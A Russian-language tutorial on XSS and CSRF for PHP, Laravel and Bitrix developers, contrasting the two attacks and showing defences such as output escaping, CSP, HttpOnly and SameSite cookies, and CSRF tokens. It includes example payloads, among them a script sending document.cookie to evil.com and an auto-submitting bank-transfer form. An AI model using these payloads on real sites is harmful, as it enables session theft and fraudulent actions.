XSS и CSRF регулярно ставят рядом, хотя это атаки с противоположной логикой. XSS — это выполнение чужого кода на вашем сайте от имени пользователя. CSRF — это выполнение вашего действия с чужого сайта, тоже от имени пользователя. Разные механизмы, разные способы защиты, и путать их дорого: токен от CSRF никак не спасает от XSS, а экранирование вывода — от CSRF.
Есть, впрочем, важная асимметрия, о которой стоит сказать сразу: XSS обходит защиту от CSRF. Скрипт, выполняющийся на вашей странице, читает токен из формы и отправляет запрос как ни в чём не бывало. Поэтому если выбирать, с чего начинать, — начинать нужно с XSS.
Две уязвимости, которые ломают всё
CSRF и XSS — в топ-10 OWASP уже 15 лет. Почему? Потому что их легко допустить и сложно заметить.
| Уязвимость | Что делает | Жертва |
|---|---|---|
| XSS | Выполняет чужой JavaScript в браузере пользователя | Пользователь сайта |
| CSRF | Заставляет браузер пользователя выполнить действие без его ведома | Сервер, доверяющий браузеру |
Обе атаки эксплуатируют доверие: XSS — доверие браузера к сайту, CSRF — доверие сервера к браузеру.
XSS — Cross-Site Scripting
Как работает атака
Злоумышленник внедряет JavaScript-код на страницу. Когда жертва открывает страницу, скрипт выполняется в её браузере.
Пример уязвимого кода:
// ❌ Опасно — данные выводятся без экранирования
<h1>Привет, <?= $_GET['name'] ?>!</h1>
// URL: /profile?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>Результат: cookies пользователя утекают на evil.com.
Типы XSS
1. Reflected (отражённый) — вредоносный код в URL или форме, выполняется сразу.
https://site.com/search?q=<script>alert('XSS')</script>2. Stored (хранимый) — код сохраняется в БД, выполняется у всех посетителей.
// Комментарий с XSS сохраняется в базу
$comment = $_POST['comment']; // <script>...</script>
$db->insert('comments', ['text' => $comment]);
// И выводится всем посетителям
foreach ($comments as $c) {
echo "<p>{$c['text']}</p>"; // ❌ XSS выполняется
}3. DOM-based — код выполняется через JavaScript без участия сервера.
// ❌ Опасно
document.getElementById('output').innerHTML = location.hash.slice(1);
// URL: /page#<img src=x onerror=alert('XSS')>Защита от XSS
Экранировать нужно при выводе, а не при сохранении. Это принципиальный момент, который часто делают наоборот.
Причина: способ экранирования зависит от того, куда попадают данные. В тексте HTML-страницы, в атрибуте, внутри JavaScript, в URL и в CSS правила разные — и данные, «обезопашенные» один раз при записи в базу, в другом контексте окажутся либо небезопасными, либо испорченными.
Плюс практическое: экранирование при сохранении портит данные необратимо. Через год выяснится, что в базе лежат &amp; и " вместо нормальных символов, а выгрузка в CSV или отправка в API отдаёт мусор.
Храните то, что ввёл пользователь. Экранируйте в момент вывода, способом, подходящим для конкретного места.
1. Экранирование при выводе
// PHP
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Laravel Blade — автоматически экранирует
{{ $userInput }} // ✅ Безопасно
{!! $userInput !!} // ❌ Опасно — сырой HTML
// Битрикс
echo htmlspecialcharsbx($userInput);2. Content Security Policy (CSP)
// PHP — заголовок
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");# nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";CSP запрещает выполнение inline-скриптов и загрузку ресурсов с чужих доменов.
3. HttpOnly cookies
// Cookies недоступны из JavaScript
setcookie('session', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict',
]);
// Laravel
'session' => [
'http_only' => true,
'secure' => true,
'same_site' => 'strict',
],4. Санитизация HTML (если нужен rich text)
// Используйте проверенные библиотеки
use HTMLPurifier;
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($dirtyHtml);XSS в Laravel
Laravel защищает по умолчанию:
// Blade автоматически экранирует
{{ $user->name }} // ✅ htmlspecialchars()
// Но есть опасные конструкции
{!! $user->bio !!} // ❌ Сырой HTML
// Валидация
$request->validate([
'name' => 'required|string|max:255',
'bio' => 'nullable|string|max:1000',
]);
// Санитизация при сохранении
$user->bio = strip_tags($request->bio, '<p><b><i>');XSS в Битрикс
// ❌ Опасно
echo $_REQUEST['search'];
// ✅ Безопасно
echo htmlspecialcharsbx($_REQUEST['search']);
// Или через Битрикс API
use Bitrix\Main\Text\HtmlFilter;
echo HtmlFilter::encode($_REQUEST['search']);
// В компонентах — всегда экранируйте в template.php
<h1><?= htmlspecialcharsbx($arResult['NAME']) ?></h1>Атрибуты, которые экранирование не спасает. Значение пользователя, подставленное в href, src или в обработчик события, остаётся опасным даже полностью экранированным: href="javascript:..." не содержит ни угловых скобок, ни кавычек и через htmlspecialchars проходит без изменений.
Для адресов нужна отдельная проверка — разбор URL и белый список схем (http, https, mailto). А данные пользователя внутри onclick и подобных атрибутов не должны оказываться вообще: обработчики вешаются кодом, а не разметкой.
CSRF — Cross-Site Request Forgery
Как работает атака
Пользователь авторизован на site.com. Он открывает страницу злоумышленника, которая отправляет запрос на site.com от его имени.
Сценарий атаки:
<!-- Страница злоумышленника -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
<!-- Или форма, которая отправляется автоматически -->
<form action="https://bank.com/transfer" method="POST" id="evil-form">
<input type="hidden" name="to" value="hacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil-form').submit();</script>Браузер автоматически приложит cookies site.com — и сервер выполнит перевод.
Защита от CSRF
1. CSRF-токены
Сервер генерирует уникальный токен и проверяет его в каждом POST-запросе.
// Генерация токена
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// Форма
<form method="POST">
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>" />
...
</form>
// Проверка
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
http_response_code(403);
die('CSRF token mismatch');
}2. SameSite cookies
setcookie('session', $value, [
'samesite' => 'Strict', // или 'Lax'
'secure' => true,
'httponly' => true,
]);| Значение | Поведение |
|---|---|
Strict | Cookie не отправляется при переходе с другого сайта |
Lax | Cookie отправляется только для GET-навигации |
None | Cookie отправляется всегда (требует Secure) |
3. Проверка Origin / Referer
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$allowedOrigins = ['https://mysite.com'];
if (!in_array($origin, $allowedOrigins)) {
// Проверяем Referer как fallback
$refererHost = parse_url($referer, PHP_URL_HOST);
if ($refererHost !== 'mysite.com') {
http_response_code(403);
die('Invalid origin');
}
}CSRF в Laravel
Laravel защищает автоматически:
// В форме — директива @csrf
<form method="POST" action="/profile">
@csrf
<input type="text" name="name" />
<button type="submit">Сохранить</button>
</form>
// Для AJAX — токен в meta-теге
<meta name="csrf-token" content="{{ csrf_token() }}">
// И в JavaScript
axios.defaults.headers.common['X-CSRF-TOKEN'] =
document.querySelector('meta[name="csrf-token"]').content;Исключения для API:
// app/Http/Middleware/VerifyCsrfToken.php
protected $except = [
'api/*', // API использует токены/JWT
'webhook/stripe', // Внешние webhook'и
];CSRF в Битрикс
// Генерация токена
$sessid = bitrix_sessid();
// В форме
<form method="POST">
<?= bitrix_sessid_post() ?>
<!-- или -->
<input type="hidden" name="sessid" value="<?= bitrix_sessid() ?>" />
</form>
// Проверка
if (!check_bitrix_sessid()) {
die('CSRF token invalid');
}
// Для AJAX
BX.ajax.runAction('module:controller.action', {
sessid: BX.bitrix_sessid(),
data: { /* ... */ }
});Комплексная защита
Чеклист безопасности
XSS:
- Все пользовательские данные экранируются при выводе
- CSP-заголовок настроен
- Cookies помечены как HttpOnly
- Rich-text проходит через HTMLPurifier
- Inline JavaScript минимизирован или использует nonce
CSRF:
- Все формы содержат CSRF-токен
- Cookies имеют SameSite=Strict или Lax
- API использует Bearer-токены вместо cookies
- Критичные действия требуют подтверждения (2FA, пароль)
Пример защищённой формы
// Laravel
<form method="POST" action="{{ route('profile.update') }}">
@csrf
<input
type="text"
name="name"
value="{{ old('name', $user->name) }}"
maxlength="255"
/>
<textarea
name="bio"
maxlength="1000"
>{{ old('bio', $user->bio) }}</textarea>
<button type="submit">Сохранить</button>
</form>
// Контроллер
public function update(Request $request)
{
$validated = $request->validate([
'name' => 'required|string|max:255',
'bio' => 'nullable|string|max:1000',
]);
// Дополнительная санитизация для bio
$validated['bio'] = strip_tags($validated['bio'], '<p><b><i><a>');
$request->user()->update($validated);
return back()->with('success', 'Профиль обновлён');
}Итоги
| Атака | Защита |
|---|---|
| XSS | Экранирование, CSP, HttpOnly cookies, HTMLPurifier |
| CSRF | Токены, SameSite cookies, проверка Origin |
Что проверить в своём проекте
Найдите все места, где вывод не экранируется. В Laravel это {!! !!}, в Битриксе — прямая вставка значений в разметку без htmlspecialcharsbx(). Каждое такое место должно иметь обоснование, а не «здесь же наши данные»: «наши» данные приходят из админки, а в админку попадают через импорт, интеграцию и форму обратной связи.
Проверьте, что CSRF-защита не отключена для отдельных маршрутов. Исключения обычно добавляют для вебхуков — и это правильно, у внешней системы нет вашего токена, — но каждое исключение должно иметь собственную аутентификацию: подпись, секретный заголовок, список адресов. Маршрут без CSRF-токена и без иной проверки открыт для кого угодно.
Настройте SameSite для кук сессии. Современные браузеры применяют Lax по умолчанию, что закрывает значительную часть CSRF-сценариев, но полагаться на умолчание браузера пользователя не стоит — задайте явно.
Помните про порядок приоритетов. Токены, SameSite и проверка Origin — три независимых механизма против CSRF, и они складываются. Но ни один из них не работает, если на странице выполняется чужой скрипт.
Фреймворки закрывают базовые случаи, и это одновременно хорошо и опасно. Хорошо — потому что защита работает без усилий. Опасно — потому что о механизме не задумываются, пока не возникает нестандартная ситуация: вывод HTML из редактора, отдельный маршрут для интеграции, форма на поддомене. Именно в этих местах защиту случайно и отключают — не со зла, а потому что «иначе не работало».
Практическое правило: любое отключение штатной защиты должно сопровождаться комментарием с объяснением, что применено взамен. Если объяснить нечем — значит, ничего не применено.
Частые вопросы
Чем XSS отличается от CSRF?
Логикой атаки. XSS — это выполнение чужого кода на вашем сайте от имени пользователя: жертва — пользователь сайта. CSRF — это выполнение вашего действия с чужого сайта, тоже от имени пользователя: жертва — сервер, доверяющий браузеру. Обе эксплуатируют доверие, но разное: XSS — доверие браузера к сайту, CSRF — доверие сервера к браузеру. Способы защиты у них тоже разные, и токен от CSRF никак не спасает от XSS.
С какой уязвимости начинать защиту?
С XSS, потому что он обходит защиту от CSRF. Скрипт, выполняющийся на вашей странице, читает токен из формы и отправляет запрос как ни в чём не бывало — никакая проверка токена этого не остановит. Обратное неверно: CSRF не даёт возможности выполнить код на странице.
Когда экранировать данные — при сохранении или при выводе?
При выводе, и это принципиальный момент, который часто делают наоборот. Способ экранирования зависит от того, куда попадают данные: в тексте HTML-страницы, в атрибуте, внутри JavaScript, в URL и в CSS правила разные, и данные, обезопашенные один раз при записи, в другом контексте окажутся либо небезопасными, либо испорченными. Плюс экранирование при сохранении портит данные необратимо: через год выяснится, что в базе лежат служебные последовательности вместо нормальных символов, а выгрузка в CSV отдаёт мусор.
Какие бывают виды XSS?
Три. Отражённый: вредоносный код приходит в адресе или в форме и выполняется сразу — атака требует, чтобы жертва перешла по подготовленной ссылке. Хранимый: код сохраняется в базе и выполняется у всех посетителей страницы, это самый опасный вариант. И DOM-based: код выполняется целиком на стороне браузера через JavaScript, без участия сервера, поэтому серверное экранирование от него не защищает.
Что даёт Content Security Policy?
Второй рубеж обороны от XSS: политика запрещает выполнение встроенных скриптов и загрузку ресурсов с чужих доменов, поэтому даже внедрённый код не выполнится. Это не замена экранированию, а дополнение к нему — на случай, если экранирование где-то пропущено. Плюс кука сессии с флагом HttpOnly становится невидимой для скриптов, что обесценивает саму цель типичной XSS-атаки.
Как защититься от CSRF?
Токеном в форме, который сервер проверяет при обработке запроса: сторонний сайт не может его прочитать из-за политики одного источника. В Laravel это встроенный механизм с директивой в шаблоне, в Битриксе — bitrix_sessid с проверкой через check_bitrix_sessid. Дополнительно помогает атрибут куки SameSite в значении lax: он не даёт браузеру отправлять куку сессии при межсайтовых запросах, изменяющих данные.